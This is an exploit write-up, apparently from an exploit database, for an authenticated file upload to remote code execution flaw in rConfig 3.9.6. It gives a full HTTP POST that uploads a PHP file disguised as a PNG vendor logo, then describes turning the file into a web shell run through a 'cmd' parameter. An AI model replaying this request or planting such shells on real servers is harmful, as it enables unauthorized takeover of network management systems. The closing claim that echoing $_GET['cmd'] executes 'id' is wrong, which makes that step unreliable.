rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (1)

# Exploit Title: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (1)
# Date: 2021-03-17
# Exploit Author: Murat ŞEKER
# Vendor Homepage: https://www.rconfig.com
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip
# Version: rConfig v3.9.6
# Install scripts  :
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
# https://www.rconfig.com/downloads/scripts/centos7_install.sh
# https://www.rconfig.com/downloads/scripts/centos6_install.sh
# Tested on: centOS 7
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall

# Description:
rConfig, the open source network device configuration management tool, is vulnerable to Arbitrary File Upload to RCE in /lib/crud/vendors.crud.php with parameter 'vendorLogo'.

The following steps can be carried out in duplicating this vulnerability.

- Login the rConfig application with your credentials.
- Repeat 

POST /lib/crud/vendors.crud.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 [email protected]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------122590832918963661283831488254
Content-Length: 36619
Origin: https://localhost
Connection: close
Referer: http://4hmnkrm42ug2n1to46m8lpapggmlp9e.burpcollaborator.net/ref
Cookie: PHPSESSID=eafcfe393af7dc2a3dd9bd1ea0e9e49b
Upgrade-Insecure-Requests: 1
Cache-Control: no-transform

-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="vendorName"

thisisrce
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="vendorLogo"; filename="file.php"
Content-Type: image/png

<?php phpinfo(); ?>
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="add"

add
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="editid"


-----------------------------122590832918963661283831488254--



- Than go to http(s)://<SERVER>/images/vendor/file.php

Note: The file.php can be accessed without valid credentials.


If you change the <?php phpinfo(); ?> to <?php echo $_GET["cmd"];?>

and navigate the http(s)://<SERVER>/images/vendor/file.php?cmd=id

The `id` command will execute on server.